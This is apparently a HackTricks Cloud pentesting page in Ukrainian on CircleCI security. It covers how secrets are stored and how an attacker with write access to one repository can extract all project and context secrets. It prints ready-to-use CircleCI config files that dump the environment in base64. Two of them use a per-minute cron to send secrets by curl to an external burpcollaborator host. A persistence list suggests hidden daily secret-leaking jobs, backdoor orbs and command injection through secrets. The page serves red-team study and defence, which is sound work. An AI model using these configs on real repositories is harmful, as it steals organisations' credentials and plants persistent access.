CircleCI Security
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Basic Information
CircleCI є платформою безперервної інтеграції, де ви можете визначити шаблони, вказуючи, що ви хочете, щоб вона робила з деяким кодом і коли це робити. Таким чином, ви можете автоматизувати тестування або деплойменти безпосередньо з вашої основної гілки репозиторію, наприклад.
Permissions
CircleCI успадковує дозволи з github та bitbucket, пов'язані з акаунтом, який входить.
У моєму тестуванні я перевірив, що, поки у вас є права на запис у репозиторії в github, ви зможете керувати налаштуваннями проекту в CircleCI (встановити нові ssh ключі, отримати api ключі проекту, створити нові гілки з новими конфігураціями CircleCI...).
Однак, вам потрібно бути адміністратором репозиторію, щоб перетворити репозиторій на проект CircleCI.
Env Variables & Secrets
Згідно з документацією існують різні способи завантаження значень у змінні середовища всередині робочого процесу.
Built-in env variables
Кожен контейнер, запущений CircleCI, завжди матиме конкретні змінні середовища, визначені в документації такі як CIRCLE_PR_USERNAME
, CIRCLE_PROJECT_REPONAME
або CIRCLE_USERNAME
.
Clear text
Ви можете оголосити їх у відкритому тексті всередині команди:
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET
Ви можете оголосити їх у відкритому тексті всередині run environment:
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret
Ви можете оголосити їх у відкритому тексті всередині build-job environment:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Ви можете оголосити їх у відкритому тексті всередині середовища контейнера:
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret
Секрети проекту
Це секрети, які будуть доступні лише проекту (будь-якій гілці).
Ви можете побачити їх оголошеними в https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables
caution
Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього.
Секрети контексту
Це секрети, які є всередині організації. За замовчуванням будь-який репозиторій зможе доступатися до будь-якого секрету, збереженого тут:
tip
Однак, зверніть увагу, що можна вибрати іншу групу (замість усіх учасників), щоб надавати доступ до секретів лише конкретним людям.
Це наразі один з найкращих способів збільшити безпеку секретів, щоб не дозволяти всім отримувати до них доступ, а лише деяким людям.
Атаки
Пошук секретів у відкритому тексті
Якщо у вас є доступ до VCS (наприклад, github), перевірте файл .circleci/config.yml
кожного репозиторію на кожній гілці та шукайте потенційні секрети у відкритому тексті, збережені там.
Перерахування змінних середовища секретів та контексту
Перевіряючи код, ви можете знайти всі назви секретів, які використовуються в кожному файлі .circleci/config.yml
. Ви також можете отримати назви контекстів з цих файлів або перевірити їх у веб-консолі: https://app.circleci.com/settings/organization/github/<org_name>/contexts.
Екстракція секретів проекту
warning
Щоб екстрагувати ВСІ секрети проекту та контексту, вам просто потрібно мати ПРАВО НА ЗАПИС до лише 1 репозиторію в усій організації github (і ваш обліковий запис повинен мати доступ до контекстів, але за замовчуванням кожен може отримати доступ до кожного контексту).
caution
Функціональність "Імпорт змінних" дозволяє імпортувати змінні з інших проектів до цього. Тому зловмисник може імпортувати всі змінні проекту з усіх репозиторіїв і потім екстрагувати їх усі разом.
Усі секрети проекту завжди встановлюються в середовищі завдань, тому просто викликавши env і обфускацію в base64, ви зможете екстрагувати секрети в консолі веб-логів робочих процесів:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
Якщо ви не маєте доступу до веб-консолі, але у вас є доступ до репозиторію і ви знаєте, що використовується CircleCI, ви можете просто створити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
Exfiltrate Context Secrets
Вам потрібно вказати ім'я контексту (це також ексфільтрує секрети проекту):
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
Якщо у вас немає доступу до веб-консолі, але ви маєте доступ до репозиторію і знаєте, що використовується CircleCI, ви можете просто змінити робочий процес, який запускається кожну хвилину і експортує секрети на зовнішню адресу:
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
warning
Просто створення нового .circleci/config.yml
в репозиторії не є достатнім для запуску збірки circleci. Вам потрібно увімкнути його як проект у консолі circleci.
Втеча в Хмару
CircleCI надає вам можливість запускати ваші збірки на їхніх машинах або на ваших власних.
За замовчуванням їхні машини розташовані в GCP, і спочатку ви не зможете знайти нічого релевантного. Однак, якщо жертва виконує завдання на своїх власних машинах (можливо, у хмарному середовищі), ви можете знайти кінцеву точку метаданих хмари з цікавою інформацією.
Зверніть увагу, що в попередніх прикладах все запускалося всередині контейнера docker, але ви також можете попросити запустити віртуальну машину (яка може мати різні хмарні дозволи):
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
Або навіть контейнер Docker з доступом до віддаленого сервісу Docker:
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
Persistence
- Можна створити токени користувача в CircleCI для доступу до API-інтерфейсів з доступом користувачів.
- https://app.circleci.com/settings/user/tokens
- Можна створити токени проектів для доступу до проекту з правами, наданими токену.
- https://app.circleci.com/settings/project/github/<org>/<repo>/api
- Можна додати SSH-ключі до проектів.
- https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
- Можна створити cron-завдання в прихованій гілці в несподіваному проекті, яке витікає всі змінні середовища контексту щодня.
- Або навіть створити в гілці / змінити відоме завдання, яке буде витікати всі контексти та секрети проектів щодня.
- Якщо ви є власником github, ви можете дозволити неперевірені orbs і налаштувати один у завданні як задню двері.
- Ви можете знайти вразливість ін'єкції команд в деякому завданні та ін'єктувати команди через секрет, змінюючи його значення.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.